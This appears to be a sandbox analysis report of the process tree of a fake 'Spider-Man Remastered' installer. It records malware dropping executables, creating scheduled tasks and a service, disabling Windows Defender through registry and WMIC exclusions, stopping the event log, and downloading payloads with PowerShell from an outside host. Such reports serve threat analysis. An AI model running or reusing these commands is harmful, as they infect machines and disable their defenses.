"C:\Users\Admin\Desktop\Marvels_Spider-Man_Remastered_PC_Full_Español_2022\setup.exe"
1⤵
- Modifies firewall policy service
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:1644
- C:\Users\Admin\Documents\SimpleAdobe\uBzB21gRaBCu4H8yUqct1nh5.exe
  C:\Users\Admin\Documents\SimpleAdobe\uBzB21gRaBCu4H8yUqct1nh5.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  PID:1108
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1072
- C:\Users\Admin\Documents\SimpleAdobe\lKSqTJcm_Cf5uoLE_rJlMm9X.exe
  C:\Users\Admin\Documents\SimpleAdobe\lKSqTJcm_Cf5uoLE_rJlMm9X.exe
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1580
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:1652
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4828
- C:\Users\Admin\Documents\SimpleAdobe\Gvj0dmnTTvIZM6cWpErE13Av.exe
  C:\Users\Admin\Documents\SimpleAdobe\Gvj0dmnTTvIZM6cWpErE13Av.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3648
- - C:\Users\Admin\AppData\Local\Temp\is-BFMOF.tmp\Gvj0dmnTTvIZM6cWpErE13Av.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-BFMOF.tmp\Gvj0dmnTTvIZM6cWpErE13Av.tmp" /SL5="$901D8,4995179,54272,C:\Users\Admin\Documents\SimpleAdobe\Gvj0dmnTTvIZM6cWpErE13Av.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:628
  - - C:\Users\Admin\AppData\Local\Voicemod\voicemod32.exe
      "C:\Users\Admin\AppData\Local\Voicemod\voicemod32.exe" -i
      4⤵
      Executes dropped EXE
      PID:4816
  - - C:\Users\Admin\AppData\Local\Voicemod\voicemod32.exe
      "C:\Users\Admin\AppData\Local\Voicemod\voicemod32.exe" -s
      4⤵
      Executes dropped EXE
      PID:4600
- C:\Users\Admin\Documents\SimpleAdobe\rWY00BTVMcYAYs88zigHdVER.exe
  C:\Users\Admin\Documents\SimpleAdobe\rWY00BTVMcYAYs88zigHdVER.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:3660
- C:\Users\Admin\Documents\SimpleAdobe\Y_7lx3qbW8Cc5FJCkgxhON9a.exe
  C:\Users\Admin\Documents\SimpleAdobe\Y_7lx3qbW8Cc5FJCkgxhON9a.exe
  2⤵
  - Executes dropped EXE
  PID:3600
- C:\Users\Admin\Documents\SimpleAdobe\AyxJNOQHL9N1vrYlI26EL0vt.exe
  C:\Users\Admin\Documents\SimpleAdobe\AyxJNOQHL9N1vrYlI26EL0vt.exe
  2⤵
  - Executes dropped EXE
  PID:3248
- C:\Users\Admin\Documents\SimpleAdobe\Cbg2h2gIETpIIX8v76vjfnoi.exe
  C:\Users\Admin\Documents\SimpleAdobe\Cbg2h2gIETpIIX8v76vjfnoi.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3320
- - C:\Windows\SysWOW64\cmd.exe
    "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsqB6A5.tmp\est.bat"
    3⤵
    PID:4932
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3676
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=458&c=1000','i0.exe')"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2916
  - - C:\Users\Admin\AppData\Local\Temp\i0.exe
      i0.exe /verysilent /sub=1000
      4⤵
      Executes dropped EXE
      PID:4100
    - - C:\Users\Admin\AppData\Local\Temp\is-LQ0E0.tmp\i0.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-LQ0E0.tmp\i0.tmp" /SL5="$1038E,2859366,899584,C:\Users\Admin\AppData\Local\Temp\i0.exe" /verysilent /sub=1000
        5⤵
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:4920
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-1GVO1.tmp\jsmoll > "C:\Users\Admin\AppData\Local\Temp\is-1GVO1.tmp\~execwithresult.txt""
        6⤵
        
        PID:2716
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-1GVO1.tmp\jsmoll
        7⤵
        Drops file in Program Files directory
        
        PID:4452
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x104,0x108,0x10c,0xdc,0x110,0x7ff9d0c7ab58,0x7ff9d0c7ab68,0x7ff9d0c7ab78
        8⤵
        
        PID:1928
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""openssl.exe" rsa -in .\jsmoll.pem -pubout -outform DER > "C:\Users\Admin\AppData\Local\Temp\is-1GVO1.tmp\~execwithresult.txt""
        6⤵
        
        PID:2128
        
        C:\Users\Admin\AppData\Local\Temp\is-1GVO1.tmp\openssl.exe
        
        "openssl.exe" rsa -in .\jsmoll.pem -pubout -outform DER
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2796
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-1GVO1.tmp\yjovit > "C:\Users\Admin\AppData\Local\Temp\is-1GVO1.tmp\~execwithresult.txt""
        6⤵
        
        PID:5252
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-1GVO1.tmp\yjovit
        7⤵
        Drops file in Program Files directory
        
        PID:5560
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x104,0x108,0x10c,0xdc,0x110,0x7ff9d0c7ab58,0x7ff9d0c7ab68,0x7ff9d0c7ab78
        8⤵
        
        PID:5600
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""openssl.exe" rsa -in .\yjovit.pem -pubout -outform DER > "C:\Users\Admin\AppData\Local\Temp\is-1GVO1.tmp\~execwithresult.txt""
        6⤵
        
        PID:5872
      - C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /f /im "msedge.exe"
        6⤵
        Kills process with taskkill
        
        PID:1880
      - C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /f /im "chrome.exe"
        6⤵
        Kills process with taskkill
        
        PID:5132
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000', 'i2.bat')"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3700
- C:\Users\Admin\Documents\SimpleAdobe\akyR2rcV7zbcm3y7o4EZuROd.exe
  C:\Users\Admin\Documents\SimpleAdobe\akyR2rcV7zbcm3y7o4EZuROd.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4984
- - C:\Users\Admin\AppData\Local\Temp\7zSB29D.tmp\Install.exe
    .\Install.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:928
  - - C:\Users\Admin\AppData\Local\Temp\7zSBDE7.tmp\Install.exe
      .\Install.exe /hHdidw "525403" /S
      4⤵
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Enumerates system info in registry
      PID:3052
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        5⤵
        
        PID:4376
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        6⤵
        
        PID:1988
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        7⤵
        
        PID:1840
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        8⤵
        
        PID:2704
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        6⤵
        
        PID:1132
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        7⤵
        
        PID:3060
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        8⤵
        
        PID:3180
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        6⤵
        
        PID:3808
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        7⤵
        
        PID:2484
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        8⤵
        
        PID:560
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        6⤵
        
        PID:548
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        7⤵
        
        PID:4988
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        8⤵
        
        PID:2300
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        6⤵
        
        PID:1088
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        7⤵
        
        PID:2008
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3596
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        9⤵
        
        PID:264
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        5⤵
        
        PID:844
      - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        6⤵
        
        PID:2400
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5084
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3196
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "butYHpXTvMdZIJsEKZ" /SC once /ST 19:19:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSBDE7.tmp\Install.exe\" LY /LEVdidzNsC 525403 /S" /V1 /F
        5⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:2796
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn butYHpXTvMdZIJsEKZ"
        5⤵
        
        PID:1776
      - C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn butYHpXTvMdZIJsEKZ
        6⤵
        
        PID:2960
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn butYHpXTvMdZIJsEKZ
        7⤵
        
        PID:2924
- C:\Users\Admin\Documents\SimpleAdobe\BUaQi4cP1zyljDx396pYQARx.exe
  C:\Users\Admin\Documents\SimpleAdobe\BUaQi4cP1zyljDx396pYQARx.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4384
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:5076
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:3744
- C:\Users\Admin\Documents\SimpleAdobe\CqWTZWLU9Ugh8d16tHa8dRGv.exe
  C:\Users\Admin\Documents\SimpleAdobe\CqWTZWLU9Ugh8d16tHa8dRGv.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4368
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    PID:3832
- C:\Users\Admin\Documents\SimpleAdobe\P_qunqSD2lV8ZrnT2ae1YWI6.exe
  C:\Users\Admin\Documents\SimpleAdobe\P_qunqSD2lV8ZrnT2ae1YWI6.exe
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  PID:3112
- C:\Users\Admin\Documents\SimpleAdobe\_b66BKpWGl_AANYbhK6JGC5u.exe
  C:\Users\Admin\Documents\SimpleAdobe\_b66BKpWGl_AANYbhK6JGC5u.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:2840
- C:\Users\Admin\Documents\SimpleAdobe\M9t70m9l2GWmJQ9HGwtq1O7B.exe
  C:\Users\Admin\Documents\SimpleAdobe\M9t70m9l2GWmJQ9HGwtq1O7B.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:1388
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1776
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3396
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4816
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2744
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "RULTVSKP"
    3⤵
    - Launches sc.exe
    PID:2092
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3060
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "RULTVSKP" binpath= "C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:2052
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:2752
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "RULTVSKP"
    3⤵
    - Launches sc.exe
    PID:2156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:2724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:3792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4396

C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe
C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:3616
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  PID:5192
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  PID:5200
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  PID:5208
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  PID:5216
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:5224
- - C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe
    "C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe"
    3⤵
    PID:1456
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      PID:3340
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      PID:1676
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      PID:2868
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      PID:1736
  - - C:\Windows\system32\svchost.exe
      svchost.exe
      4⤵
      PID:3116
- C:\Windows\system32\svchost.exe
  svchost.exe
  2⤵
  PID:5292

C:\Users\Admin\AppData\Local\Temp\7zSBDE7.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zSBDE7.tmp\Install.exe LY /LEVdidzNsC 525403 /S
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:164
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:5552
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:5728
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:5772
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:5784
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:5804
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:5820
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:5832
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:5856
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:5884
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:5920
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:6012
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:6028
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:6044
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:6092
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:6108
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6128
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:336
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
